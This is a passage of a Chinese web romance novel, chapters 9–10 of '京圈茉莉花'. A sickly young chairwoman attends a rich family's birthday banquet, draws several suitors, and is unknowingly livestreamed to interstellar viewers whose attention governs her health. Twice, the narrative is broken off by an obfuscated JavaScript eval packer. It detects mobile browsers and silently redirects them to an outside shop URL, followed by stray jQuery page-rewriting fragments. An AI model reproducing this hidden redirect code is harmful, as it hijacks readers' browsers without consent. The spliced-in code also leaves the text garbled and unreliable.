顾茉莉双腿微曲窝在沙发上,一边捧着杯奶茶慢悠悠喝着,一边盯着前方茶几上摊开的两份鎏金请帖。 相同的地点、相同的目的,都是为了庆祝叶家老爷子大寿,措辞都很客气有礼,称呼和落款却各有不同。 一份自她出现在人前后第二天送来,落款名是叶夫人,称呼她“贤侄女”;一份今早刚送到,落款“叶德昌”,称呼“顾董”。 她笑了笑,低头重重吸了一口,浓郁的奶香和茶香瞬间侵蚀口腔,还有那Q弹爽滑的爆浆珍珠,咬一口甜滋滋。 “这是哪家的?好喝!” 严恒面无表情,当然好喝,某点评网奶茶品牌票选第一,他开了一小时车、排了两小时队才买到的,为此还破天荒的迟到了。 “全勤奖您得补给我。” “补补补!”顾茉莉满口答应,“还给你多发一月奖金!” 严恒斜眼看她,不见丝毫欣喜之色,“有事说事。” 他可不受糖衣炮弹这招。 顾茉莉嘿嘿笑了两声,半坐起身,“这家是不是特受欢迎?” “对。”要不然也不至于排了两小时队,就这还是去的早,不然三四个小时都有的等。 “那如果我在楼下开一家,是不是稳赚不赔?”顾茉莉眼神亮闪闪的盯着他,一副找到了发财之道的模样,“附近都是写字楼,白领多,肯定不愁客源。” “最好再开家蛋糕店,顺便还能帮大家解决下午茶对吗?”严恒扯了扯嘴角,似笑非笑。 “对对!”顾茉莉连连点头,连身体都不自觉往前倾。 “不行。”严恒一秒变脸,满眼都是冷酷无情。 她太干净,心思浅得谁都能看懂,什么稳赚不赔,不就是自己想喝? 可是那东西偶尔喝一次还行,天天喝对普通人都不好,何况是她。 “我给您预约了这周末的全身检查,希望结果不会让您的主治医生面色太难看。” 一句话正中眉心。 顾茉莉当即表情一垮,泄气的往后一靠,只觉连奶茶都没有刚开始甜了。 她最近确实有些放飞自我了,不仅饮食上再不像以前那般严格控制,偶尔还会熬夜,如果被医生知道,只怕少不了一顿唠叨和嘱咐。 还有严恒,肯定又会克扣她的零食。 想到这里,她忍不住嘟囔:“怪不得从没交过女朋友,就这性格活该一直单身……” “你说什么?”严恒额角狠狠一跳,“你从哪听来的!” “啊?”顾茉莉装傻,“我没说话呀,你听错了吧?” 严恒盯着她,她咬着吸管装作心无旁骛,就是不往他那瞅一眼。 “呵。”严恒轻哼,点了点请柬旁的一份文件。 “这是叶家所有人员的基本信息,包括名字、年龄、性格以及各人的主要关系网,希望您尽快记熟,不然出现见了人叫不出姓名或者叫错的情况,那就尴尬了。” “你不和我一起去吗?” 顾茉莉没看那份文件,而是下意识看向他,眼底尽是愕然和疑惑,仿佛他和她一起去宴会是一件非常理所当然的事。 严恒僵在原地,本来垂在身侧的手挪到背后,那种胸腔乱撞的感觉又来了。 这一次来得更猛更急。 她总是这样,睁着一双澄澈的眼说着令人心慌意乱的话,搅乱了一池春水,她却仍兀自不觉。 第一次见面时如此,说想做刘禅时如此,现在还是如此。 可是要怪她吗? 严恒缓缓抬起眼与她对视,似乎想望进她内心深处,半晌他又挫败的垂下。 那双眼依旧洁净如洗,透彻得照不进一丝污秽,让他忍不住觉得刚才升起的那点迟疑都是对她的亵渎。 “……我的身份不适合去。”最终他只能这么解释。 那种场合去的人非富即贵,带的男伴女伴也自有讲究,像他这种秘书连去的资格都没有。 可以在外等,却不能进去。 “但是我想你去。”顾茉莉神色没有半点变化,仿佛不知道他的心理波动,也不清楚其中缘由。 “去吧,好不好?我一个人会不自在的。” 她趴在沙发背上,可怜兮兮的瞅着他,木铎在旁也探出小脑袋,两双圆溜溜的眼睛一同望过来,又萌又软。 严恒无奈,对她,他似乎总也硬不起心肠。 或许真是前世欠了她,这世来给她当牛做马了。 “好,去。” * “你去哪里?”裴舒雪正不错眼的盯着工作人员摆放花篮、餐点,就见儿子快速从楼上下来,几步就到了大门口。 她连忙喊住,“宴会快开始了,你不陪着你爷爷,这时候跑出去干什么!” “我去迎接客人。”叶骁头也没回,声音才落下,人便已不见了踪影。 “这孩子。”裴舒雪嗔怪,“都多大了,怎么还这么毛毛躁躁的。” “叶少赤子之心,对外待人以诚,对内孝顺长辈、恨不能事事亲历亲为。”宴会负责人在旁笑着奉承,“现在这般估摸着也是心疼您一人在这忙碌,想帮帮忙呢。” “他要真能这么懂事就好了。”裴舒雪摇摇头,语气不满,神情却不由带上了笑意,“只怕是不耐烦在楼上待着,跑出去躲清净了。” “谁跑出去了?”叶德昌恰巧进来,一听这话还以为在说他。 “你可别冤枉我,我才跟后厨确定完菜单,这不立马就回来了。” 裴舒雪白他一眼,“没说你,说你儿子!” “那小子又干什么了?” “说是去接人,转头就跑没影了,你们父子俩真是没一个让我省心的。” 叶德昌只觉一口大锅砸下来,怎么又成了他的错? 得,和女人讲不清道理,也不能讲道理,因为她们迁怒起来毫无道理可讲。 他也不辩解,多年经验告诉他,说一句绝对有十句等着,他干脆换了个话题。 “小肃今天能来吗?” “能吧。”裴舒雪果然被转移了注意力,想了想迟疑的拿出手机,“要不我再给他打个电话问问?” 嗯,问吧,有其它事做就想不起挑他的刺了。 叶德昌特别好脾气,“跟他说,只要他能来,无论多久我们都等他。” 然而这一等就是一个多小时,等客人们基本都到了,还是不见等待的那个人。 叶骁靠着酒店门前的大金龙柱,手上有一搭没一搭的把玩着打火机,一会打开一会阖上,也不点燃,只那么来来回回的按着。 此时已是将近晚上八点,华灯将酒店大门照得愈发金碧辉煌,他站在光里,穿着精致的烟灰色西装三件套,姿势却是与之相反的透着一丝不羁。 优越的骨相、完美立体的五官,不笑时给人一种生人勿近的高冷,一笑又充满了深情般的魅惑。 看着这样的他,很容易想到四个字——雅痞绅士。 “装什么酷呢。”郁栩文踏上台阶,温和地笑,一如过去的很多年那样调侃。 “老远就瞧见你了,是你家老爷子过寿,你怎么整得跟个花孔雀似的。” “我高兴。”叶骁啪地盖上打火机,剑眉微挑,毫不客气的回怼,“不像你,整天装模做样,明明是个黑心肝,偏偏爱穿白西装,假不假啊你?” “白和白才配,灰不灰、黑不黑,一点都不纯粹,太暗淡了,容易寂寞。”郁栩文笑容不变,轻轻拍了拍他的肩膀,好似有些无奈。 “还生气呢,下次我再不提了还不成吗?” “提什么?”裴舒雪从后面走出来,先看了眼自家儿子,“你是不是又欺负栩文了?” 又来。 叶骁无语望天,从小到大都是这样,但凡他和郁栩文之间出现矛盾,肯定是他不对,因为人家“乖巧、有礼貌”,不像他怎么叛逆怎么来。 可是天知道,他们干的那些坏事,十有八九都是郁栩文的主意! “我真该去问问梁阿姨,她和您是不是小时候抱错孩子了,郁栩文才是您儿子吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666018|143500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “要是真那样就好了。”裴舒雪将郁栩文拉到身边,满意的上下打量,“栩文可比你省心多了,我巴不得和你梁阿姨换一换。” “巧了,我妈也是这么想的。”郁栩文也不当真,跟着开玩笑,“我妈早嫌我又闷又无趣,总说我没有叶骁嘴甜、讨人喜欢,要不您们真换一下吧?换到叶家是我赚大了呀!” 裴舒雪被逗得哈哈大笑,握着他的手真像亲母子一般。 叶骁撇撇嘴,正想打断他们的“母子情深”,就见车灯闪过,又有辆车开了进来。 他当即直起身,是顾家的车。 郁栩文笑着回头,也跟着望过去。 车子停下,后门打开,一道粉色身影跳了下来,“叶骁哥哥!” 叶骁神色一冷,转过头看向别处。郁栩文唇角笑意加深,主动打招呼,“皎皎来啦。” “栩文哥。”顾皎皎朝他敷衍的点点头,小跑着挽住裴舒雪的胳膊,“裴姨,几天不见,好想你啊。” 嘴上这么说,眼神却始终不离叶骁。 裴舒雪笑着打趣,“是想我,还是想你叶骁哥哥啊?” “裴姨!” “妈!” 一声娇嗔一声怒斥同时响起,众人皆是一惊,连刚下车的顾琤和刘婕都不约而同站住了脚。 “妈,我说了很多次,不要开这种玩笑。”叶骁没看其他人,只盯着裴舒雪,眼里充斥着烦躁和失望。 他解释过无数次、抗议过无数次,顾皎皎我行我素也就算了,可为什么连他的亲生母亲也把那些话当作耳旁风,一点不往心里去? 他的意见就这么无关紧要吗? “您若是真喜欢她,认她做干女儿,或者直接将所有财产都交给她,我都没意见,但是烦请您以后再别把我和她扯在一块。”叶骁语气前所未有的冰冷。 “如果您还想要我这个儿子的话。” “叶骁!”叶德昌快步走到裴舒雪身边,揽着她的肩膀怒瞪儿子,“怎么跟你妈说话呢!” 裴舒雪身形晃了晃,神情满是不可思议,她是又惊又怒又气又伤心,还有些茫然不解。 不过是长辈打趣打趣小儿女,怎地就到了这个地步了? 再说顾皎皎有什么不好,和他年纪相当,长相相配又门当户对,还对他一往情深,多少人求都求不来,只他厌恶得就跟要杀了他一般。 她连忙去看顾皎皎,被当众这么下面子,小姑娘脸皮薄只怕受不住。 果然,顾皎皎死死咬着下唇,面色惨白、眼睛通红,盯了叶骁好一会才一跺脚转身往外跑。 “皎皎!” 顾琤和刘婕着急要追,又一束灯光打过来,随即两辆车依次驶进,间隔不远不近。 郁栩文眯了眯眼,一辆幻影,一辆……帕萨特? 他在后面那辆车的车牌上停留了几息,眸底闪过莫名的光。 郁叶两家旗鼓相当,裴家原本比之二者还要弱一线,却因为出了个例外,使得它的地位变得玄妙起来,而那个人只怕此刻就坐在这辆不甚起眼的车里。 叶骁突然挺直身体,快步走下台阶,他的动作吸引了所有人的注意,顾皎皎也站住不动了。 原来不知何时打头的幻影已经停了下来,戴着金丝眼镜的男人站在车边,朝众人瞧了一眼,一手搭在腹部、一手打开后座车门。 雪白的脚趾踩着裸色高跟鞋缓缓落到地上,男人伸出手,纤嫩的手掌轻轻搭上,银色的裙摆垂顺而下,遮住了笔直修长的小腿。 如波浪般的长发随风微微飞舞,落在来人光滑的肩膀上。绸缎般的面料似轻纱温柔地包裹住秾纤合度的完美身材,还有无数细钻装点其中,散发出淡淡的珠光感,宛若繁星璀璨。 月中仙走下了瑶台,玄女步下了九天,银河照进现实,星辰落入凡尘,从此花界有了无冕之王,人间有了第一香。 当。 酒店大厅内的座钟发出沉闷的一声响,时针指向了八点整。 哗啦。大门台阶下,正对着的水池喷射出无数道水流,伴随着优美的音乐声,如同交响乐般,喷洒向天空,又倾泄而下,溅出细碎而灿烂的水花。 “呀。” 顾茉莉听见动静侧过身,正好对上落下的水花,她下意识抬起手遮挡,却仍有水珠迸溅到脸上、胳膊上。 冰冰凉凉的感觉并不难受,反而很舒服,像是冬日里偷吃了一口冰激凌。 她忍不住笑,笑容明媚又舒展,眉宇间尽是纯然的喜悦,仿若得到了某样意外珍宝,纯粹、灵动,干净无暇,又圣洁得好似在发光。 9.京圈茉莉花 【好漂亮……】 【不愧是地球时期纯天然的美人,根本不是现在那种科技感能比的,如果能在现实里见到她就好了,感觉本人会更美】 【话说我能奢望下有一天可以在星际见到她吗QvQ】 高大的男人微微挪步,将水珠挡在身后,也遮住了不断刷新的弹幕。 顾茉莉笑容微收,抬起头,严恒垂眼,并不看她,恭敬的态度仿佛只是在谨守身为秘书的职责,可是说的话里却有丝掩藏不住的无奈。 “周末要体检,您想让医生发现您有感冒的迹象吗?” “……我身体没那么差。” 不过一点细小水珠,哪里就会感冒了? “嗯。”严恒声音淡淡,“希望到时您也能坦然的这么和主治医生说。” 顾茉莉瞪眼,严恒不为所动,眼底却有隐约笑意浮起。 喷泉旁,豪车前,俊朗的男子高挑挺拔,美丽的少女纤瘦窈窕,侧身交错而站、互相对视的场景犹如电影般美好。 只可惜,在场没有几人愿意欣赏。 叶骁站在台阶上,一脚在上一脚在下,原本向前的动作就那么僵在了原地。 他感觉他的情绪也像那喷泉,一见到她就有无限欢喜喷涌而出,止也止不住,可是随着她的目光望向别人,那份心情又猛地落了下去,心头沉沉坠坠的,仿佛被压了块大石。 他想挪开它。 他看向严恒,极尽挑剔。 郁栩文缓缓朝门口的侍应生招手,低声叮嘱了两句,紧接着喷泉突然停了,音乐声戛然而止。 顾茉莉下意识往后瞧,身体自然而然离严恒远了些。 叶骁眸光一动,另一只脚终于迈下,“顾小姐,欢迎。” 这一声似乎打破了某种玄妙,叶德昌和裴舒雪恍然回神,同时迎了过去。 按理顾茉莉是小辈,本不用这般郑重,但或许是刚才月光下圣洁的美人令人印象太过深刻,两人不自觉便生出了一种不能怠慢她的感觉。 “顾董,幸会。” “伯父,您折煞我了,唤我茉莉就好。”顾茉莉微微欠身,又朝裴舒雪笑了笑,带着一丝赧然又不失亲近,“伯母。” “欸!”裴舒雪笑得异常和气,拉着她不住的上下打量,眼里满是惊叹。 “真漂亮,怎么能长得这么可人疼呢,跟个小仙女似的。怪不得你爸妈以前把你藏得那么严实,换了我,我也不敢让你出门,就怕你被狼叼了去!” “咳。”叶骁轻声咳嗽。 裴舒雪这才惊觉刚才的话有不妥,连忙干笑两声,牵着顾茉莉就往里走,“冷不冷?外面凉,咱先进去,老爷子也盼着见你呢。” “让长辈等是我的不对。” 顾茉莉任她牵着,嘴上应和她和叶德昌的话,视线却看向叶骁,见他也看着她,她轻轻弯起唇,透着点安抚。 我没事,不用这么小心翼翼。 随即她又眨了眨眼,快活又明媚,但还是谢谢你的体贴。 叶骁懂了她的意思,心头骤然一松,大石落下,欢喜再次汹涌,直到占据整个胸腔。 这就是在意一个人吗? 会因为她的一个举动失落,也会因为她的一个表情开心,仿佛有根绳将他的思绪与她牵绊在了一起,随着她动随着她起。 叶骁垂下眼,看着她从身旁走过,突然就有些想笑,活了二十几年,头一次懂了心动的滋味。 他抬起头,正想快步跟上,一只手蓦地挡在他面前。 “等会。”郁栩文朝不远处点了点,示意他先别急。 “还有人需要你接一下。” 叶骁先看了看他,才转过视线。帕萨特停在暗影里,漆黑的车身几乎与夜色融为一体,可他还是看清了车牌上的几个零。 “小舅舅?” 裴肃坐在车里,没看这个与他差不多大的“侄子”,盯着门口瞧了好一会,直到银色的身影转过拐角消失不见,他才淡声吩咐: “停到后面,我直接去见老爷子。” “是。” 帕萨特悄无声息的来,又悄无声息的绕过庭院开去了后方。 司机正聚精会神找合适的停车位,就听后方年轻却威严的声音再次响起。 “这里喷泉是只在晚上八点开吗?” “……不是,平时也开,不过带音乐带灯光秀的只在特殊活动时才有。” “嗯。”裴肃望着窗外,喷泉中央是个天使模样的雕塑,长长的裙摆斜斜往下,天使低着头、双臂交叠,身后一对羽翼半张半合,像是要飞,又像是要将祂包裹。 天使由上帝创造,代表圣洁、良善、正直等一切良好品德,祂将神的讯息带到人间,受神差遣保护信众不被恶魔侵扰,可也随时会回到天上。 裴肃星眸微敛,在司机要下来替他开门前率先下了车,“你先回吧,这趟油费回头我额外打给你。” “好的。”司机忙点头,目送这位年轻的领导走进酒店后门。 卓然清俊的气质,不知道的还以为是哪家贵公子。 哦不对,他本就是富贵人家的少爷。 司机不禁失笑,平时习惯了他的朴素和低调,倒是忘了他的出身也大有来头。 他调转车头往回开,再次经过前面时竟然发现仍有几个人没有走。 他也没太在意,想到马上就要回家见到女儿,一时很是归心似箭,脚下不由踩紧了油门。 “那是谁?”顾皎皎注视着远去的汽车,又看看小跑着离开的叶骁。 刚才他见到那辆车时的表情她可没错过,既惊讶又错愕,还有些高兴,想来应当是很重要的人。 “裴家老二,你叶伯母的弟弟。”刘婕低声解释,“如今在体制内大小也是个人物。” “那我以前怎么没见过?”顾皎皎诧异,她从小就经常出入叶家,当真从没听说过裴舒雪还有个弟弟。 “不是亲的,说是领养的。”刘婕撇撇嘴,“有人怀疑就是裴老爷子在外的私生子,但也有的说……” 她四下张望,确定没人了才敢继续,“也有人说是上头谁的孩子,因为某些原因交给了裴家代为抚养。跟你那个病秧子妹妹一样,很少出现在人前。” 顾皎皎睁大眼,“真的假的?” “无风不起浪,这么传肯定有这么传的理由。”刘婕指了指车牌,“他这个年纪这个位置,背后没推手可能吗?” “别瞎说。”顾琤听不下去了,忍不住瞪了老婆一眼,“皎皎还是个孩子,跟她说这些干什么!” “你当她是孩子,她却一心往别人家扑腾,巴不得早点嫁过去呢。”刘婕恨铁不成钢,狠狠戳了戳闺女的额头。 “可你看人家的样子,是想娶你吗?我跟你说,你还是趁早死了这条心,我瞧着那小子是看上你妹了。” 说着说着,她更来气了,反手去拍打顾琤,“都怪你没用,公司也争不来,还输给个丫头片子,你丢人不丢人!” “跟我有什么关系!” “你要是当上了顾氏董事长,整个顾家都是皎皎的陪嫁,谁都会高看她,还怕拿不下叶骁那小子?” “人家不喜欢她,不说一个顾氏,就是两个、三个,人家不娶还是不娶……” “你还说!” 顾皎皎抿紧了唇,耳边听着父母你一句我一句的争吵,只觉心烦意乱。 是啊,他不喜欢她,她喜欢了他多少年,他就讨厌了她多少年,刚才她不仅没有错过他看向车的眼神,更没错过他看向顾茉莉。 他眼里乍然而起的欣喜和雀跃、失落难过,还有隐隐的妒忌,就跟她当初看着他时一模一样。 还有什么不明白的,他喜欢她那个堂妹,在只见了她两面之后。 顾皎皎看着近在咫尺的大厅,以前他不喜欢她,可也没喜欢别人,她还能安慰自己“精诚所至金石为开”,总有一天他会被她的深情打动,也爱上她,但是现在,这个梦碎了,他有喜欢的人了。 那她还要继续喜欢他吗? 不知为何,鬼使神差的,她再次回头望向了那辆已经驶离的车。 如果……如果她去喜欢别人,他会不会觉得怅然若失? 如果那个人还是他的亲人,又比他身份地位都高,他能经常见到她,却失去了她,他会不会后悔现在的所作所为? 顾皎皎咬着手指,心中仿若冰火两重天,煎熬得头上都冒了汗。 “你怎么了?” 顾茉莉刚走进阳台,就见里面站着个人,她正想道歉退出去,却发现那人情况似乎有些不对。 他弯着腰紧紧抓着栏杆,身形还在微微摇晃,只是背对着她,瞧不见面容。 “您是哪里不舒服吗,需不需要我去叫人?”她扶着门框,一时不知该进还是该退。 “……没事。”裴肃极力遏制着那种晕眩的感觉,耳中嗡嗡的,要不是栏杆支撑,恐怕真会一头栽倒在地。 今天开了一天的会,而后又马不停蹄的去视察,中间连歇息的时间都没有就赶来了这里,要不然他也不会直接坐车过来。 在这方面他一向注意,从不会给别人留下攻奸他的把柄。 可是他也高估了自己,怎么也没想到会在这时候犯了病。 头晕目眩让他集中不了精力,也根本没有力气回头去瞧后面是谁,只知道应该是个年轻女人。 那就更不能扯上关系了。 他闭着眼,双手几乎按进大理石纹路里才保持了些许的清醒,“我休息会就好,不用管我。” 身后好一会没有动静,他正以为对方走了,却没想到随即一阵香气袭来,他猛地睁开眼,转身、后退,几个动作一气呵成,仿佛演练了无数遍。 顾茉莉愣愣的,看看两人之间突然拉大的距离,又看看他苍白却轮廓分明、显得刚毅俊朗的脸,不由哑然失笑。 他这是被多少人缠过,才能练就这般熟稔的躲避动作呀?都形成条件反射了。 “对、对不起,是我吓到你了。”她咳了咳,举起右臂,掌心静静躺着一颗颜色粉粉的糖,细闻还有点淡淡的樱花香。 “你是不是低血糖呀?如果不想看医生的话,可以先吃颗糖,很甜的。” 她的语气轻柔舒缓,很好听,但更像是在哄小孩。 裴肃愕然,她这是把他当成了不舒服还不想看医生,故意说自己没事的孩童? 他望着那颗糖,迟迟没有动作。 “不喜欢吗?”顾茉莉也瞧,而后收回手。 裴肃张了张嘴,还没说话,就见她不知从哪取出一个小袋子,哗啦啦倒出好几颗,紫皮糖、水果糖,居然还有一个Q版奶牛形状的奶糖。 “这是纯牛奶制作,营养很高。”顾茉莉见他盯着那个,忙挑出来递过去,“给,吃点糖应该就能好很多,不过最重要的还是要好好吃饭。” “……谢谢,麻烦你给我刚才那颗就好。” 如果必须选一个,小孩吃的奶糖和粉色之间,他宁愿选择粉色。 “樱花软糖吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667685|143500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾茉莉笑得眉眼弯弯,“我也很喜欢这个,吃起来有樱花的味道,而且很香,香味还会保持很久。” 刚小心捻起糖塞进嘴里的裴肃:“……” 突然就如鲠在喉,吐也不是,吃也不是,难道之后他每次说话都会有股樱花味? “不喜欢吗?”顾茉莉歪歪头,“那这个椰子味的……” “不用了。”裴肃慢慢将糖咽下去,“就这个可以了。” 樱花味就樱花味吧,大不了他接下来不说话了! 不知道是不是真是糖起了作用,还是经过这么一打岔转移了注意力,他的精神好了不少,那种晕眩感褪去,鼻腔似乎也通畅了。 他缓缓吸了口气,确实有股好闻的花香萦绕四周,但不是什么樱花,而是茉莉花香。 他重新看向面前的少女,她的面容比在车里时瞧着更加精致,眉宇间那抹羸弱削弱了些许她身上的不真实感,让人情不自禁升出保护欲。 不像天使,倒像是被天使保护的瓷娃娃。 “顾小姐。”他颔首致意,情绪如过眼云烟转瞬收起,“幸会。” “你认识我?”顾茉莉眼眸微睁,第一反应便是向后瞧,神色透着几分心虚。 裴肃微怔,他认识她这件事让她心虚……他不觉产生了一种“他是不是很不堪”的怀疑。 “顾总。”突然一道低沉的嗓音从后方响起。 裴肃就见少女猛地转过身,快速将糖果往他怀里一塞,随即仿若无事般的抬头望天。 “……”其实你这样更像做贼心虚。 不过她刚才是不是抓到他手腕了? 裴肃盯着自己的手,表情怔怔,似是有什么让他难以理解的事,好半晌直到脚步声越来越近,他才如梦初醒般抬起头。 严恒已经绕过廊柱走了进来,见到他显然也有些讶异。 “裴先生。” 是他,那个喷泉边和她站在一处的男人。 裴肃眸光微淡,轻轻点头并未作答。 严恒也不在意,目光落向明显又做了“坏事”的某人,视线在她手中的空袋子上转了转,了然,“难怪您今日选了这件。” 就为了它有个隐藏口袋好装东西是吧? “咳咳。”顾茉莉清了清嗓子,故作严肃,“严秘书有事吗?” “有也没有。”严恒陪她做戏,“只是老板突然不见了,身为秘书比较心慌,生怕我有哪里做得不到位,若是再给您造成麻烦那就不好了。” “能有什么麻烦?”顾茉莉不满,“我这么大的人还会丢了不成?” “当然不会,您这么聪明怎么会做小孩子才会做的事。”严恒瞥了眼她的手,似有所指。 顾茉莉下意识将手背到身后,做完才察觉到自己好像露了怯,连忙挺直脊背,努力做出一副“我不知道你在说什么”的姿态。 裴肃看着两人,非常突兀的感到了一丝烦躁,他们之间仿佛有着一层无形的屏障,将其他人排除在外。 这种感觉,很不好。 “顾小姐今日来还带着秘书?”他不由出声打断了两人的谈话。 可话一出口他却先愣住了,这样堪称不礼貌的行为以他的自制力以往绝对做不出来。 “啊,他……”顾茉莉正要回答,严恒先一步接过话头。 “顾总近段时间忙于集团内部事宜,对人事上难免有些疏漏,我作为秘书有责任随行帮忙提醒,以免造成误会。”他微微一笑,云淡风轻。 “比如现在这般。” 裴肃皱眉,什么意思? 顾茉莉摸了摸脸颊,眼神有些飘忽,严恒轻哼,“顾总怕是没看我给您的资料,这位是叶夫人的弟弟,也算您的长辈了。” 裴肃这才明白,原来她刚才的心虚是因为她不认识他? 他有些好笑,又有些冷然,前者对她,后者对严恒。 他语带轻视,他就不客气回怼:秘书又怎样,她连你是谁都不知道,你连秘书都不如。 裴肃捏着手里的几颗糖,缓缓放进外兜,“今天谢谢顾小姐了,我欠你一个人情,他日若是需要,我一定竭力报答。” “不用这么客气,小事、小事……”顾茉莉连连摆手,黑眸一眨一眨,似在说暗号—— “别提,千万别提糖!” 裴肃下颌动了动,再次颔首后就往外走,严恒垂眼,让到一边。 有时候身份的差异不在嘴上,而在动作上。 他以话回怼,他就以行动展示他的不屑——你连让我争论的资格都没有。 他讽刺的勾起唇,上位者就是这般,傲慢从不显于形,却透在骨。 他们具有良好的教养,无论对同阶层的人,还是对司机、保姆,都会做到同等相待,温和又不失礼貌。以高标准要求自己,用宽宥对待他人,从不随意发火动怒,连生气都是不动声色,谦逊得宛如完美君子。 可是自小优渥的环境、从出生起就坐在金字塔尖的高度,也让他们的血液里装满了自上而下式的高傲。 还真是一如既往的令人作呕。 严恒掀起眼皮,视野最转角有道粉色的身影来来回回不停小步挪动着,好似在踌躇;最前方一身烟灰色西装的男人正快步朝这边走来。 他挑眉,蓦地抬高音量,“叶少。” 粉色身影一顿,像是下定了某种决心,端着酒杯从隐蔽处冲了出来。 “哎呀!” 严恒听着前方传来的惊呼声和酒杯落地的哗啦声,轻轻扬起了唇。 10.京圈茉莉花 高清无死角的镜头将一切完整记录了下来,星际直播间里所有的观众从头看到尾,自然没有错过严恒微妙的表情。 【我去,这个笑,好坏啊!】 【以为是嘴硬心软的男妈妈,没想到实际是个黑心肝?】 【咦~不喜欢不喜欢,好想打他。】 【你不喜欢我喜欢,就爱这种阴险男!】 季沛霖看着屏幕里汇聚到一起的三个男人,又看看那些争论谁更好的留言,忍不住皱起眉。 一个个弱得跟个小鸡仔似的,有什么好? “执行官大人。”面前突然弹出辛署的脸,“将军们到了。” 季沛霖一惊,几乎是本能的先按掉了弹窗,不想让对方发现自己在做什么。可等做完了他才反应过来,对方只是一个提醒影像,根本看不到他的动作。 “见鬼。”他不由低咒,一个直播的影响力竟然这么大,不仅让他在工作时分神,还让他失了警惕心和基本判断力。 如果换成战场,他刚才那种行为很可能造成不可挽救的后果。 他猛地站起身,又瞥了眼光脑,果断点了关闭。屏幕从眼前消失,没有了令人眼花缭乱的弹幕,也不见了那朵茉莉。 军靴踩在地上铿锵有力,银色机械门感应到主人的气息缓缓打开,唰唰几声,伴随着其他人的敬礼声,身着银白色军装的男人走得头也不回。 【直播间关注度-1,主播生命值-1。】 严恒正好整以暇准备看戏,就见顾茉莉忽然捂住胸口,神色也比之前更加苍白。 “怎么了?”他扶住她,紧张的上下扫视,“哪里不舒服?” “……没事。”顾茉莉重重喘了两口气,刚才那一瞬间心口的滞闷感让她恍然回到了从前—— 没有直播,每天大部分时间都只能躺在床上,一日日忍受寂寞与煎熬,无数次在鬼门关徘徊,不能跑、不能跳,不能吃喜欢的食物,甚至连大的情绪起伏也不能有。 那种感觉自从她来了“这里”后再没有体验过。 即便是刚来的第一天,身体外表瞧着羸弱不堪,可内里却比以前健康得多。 但是方才她又感受到了,虽然只有短短的几秒钟。 为什么? 她不着痕迹的望向弹幕的位置,“他们”依然在热烈讨论着,还有注意到她情况的人在疑惑发问: 【小茉莉怎么了,表情不太对的样子?】 【是不是被吓到了?】 【我瞧着像是哪里难受,她的身体确实好差呀。】 【来星际,疗养舱里睡一觉,百病全消!】 【拉倒吧,疗养舱只能解除一些小问题,茉莉这种明显根底就不好,不如所有器官换一遍!】 【不懂不要瞎说,现在的人工器官也不是百分百安全,同样有排异风险好吗?还全部换一遍,那你还是你吗?】 【喂喂,就没人关注严妈妈在扶着茉莉吗?第一次肢体接触啊!】 【这有什么,翟翟还抱过茉莉呢ˉ^ˉ】 顾茉莉收回视线,“他们”并没有异常,问题不是出在“他们”和她自己身上,那这个关注度又是为什么减少?而且下降一点,生命值就跟着减少一点。 从前两次通报来看,生命值就是她的健康程度,生命值越高她越健康,而生命值与直播间观看人数呈正相关,人数越多,生命值越高,反之亦然,“它”能给予她生命值,同样能收回。 那她现在表现出来的健康是真的健康吗?还是只是一个数据,可以任意调整…… 她黛眉微蹙,严恒以为她在强忍不适,不禁愈发着急。 他说是她的秘书,其实连生活助理的活也一起干了,自然包括与医院方面的沟通。 从她上任第二天,他就看过她详细的身体报告,用医生的话来说便是:“她能活到现在都是个奇迹。” 他不敢想她以前是怎么过的,也不想深思她突然有所好转的原因,就怕会是造物主“最后的恩赐”。 “我带你去医院!” 他揽着她就要走,顾茉莉拉住他,“别,真不用,我刚才就是心悸了一下。” 她看了看外面,压低声音,“别声张,公司股价刚稳定,这时候不能再出差错。” 集团才完成一轮新旧交替,股民的信心刚刚回升,再爆出新任董事长身体不适的消息绝对有害无益。 尤其还有其他人在虎视眈眈。 顾茉莉环顾四周,宴会的气氛由于方才的动静变得微妙不少,索性大部分人都被前面的三人吸引了注意力,并没有关注这边。 少数的个别几人也被严恒挡住了视线,无法看清情况。 她松了口气,“放心吧,我自己的情况我心里有数,没事的。” 严恒怎么可能放心,可当他对上那双温柔却坚定的眼眸时,多少的担忧都只能暂时放下。 这些时日的相处足以令他对她有些了解,她美好干净,但也聪慧通透,知世故而不世故,明世俗却不受世俗浸染,她并不是什么都不懂,可也正因为她懂,更显得那份干净弥足珍贵。 就像她的名字。 茉莉花本是外来品种,“远从佛国到中华”,又从苏杭到岭南,从长江到滇中,不管在哪,香气始终“不随水土而变”,永远“冰姿玉骨净尘烟”。 天香开茉莉,梵树落菩提。惊俗生真性,青莲出淤泥。 “真让人自惭形秽……”严恒喃喃,丑陋的世界里开出这样一朵花,倒让他这个俗人无所适从。 “什么?”顾茉莉疑惑,他的声音太小,她真的没听清。 “过会我就给医院打电话,让他们把体检提前到明天。”严恒收敛情绪,又变成了那个理智沉着的严秘书。 “身为您的助理,我希望能知道您真实的身体状况,以备在出现某些突发状况时可以做出正确的反应,所以还请您务必诚实些,有任何不适随时告知我。” “……知道了,啰嗦。”顾茉莉嘀咕,“为了你的头发,少操点心吧……” 严恒白她一眼,这都是为了谁? 顾茉莉假装没看见,探出脑袋去看前面。 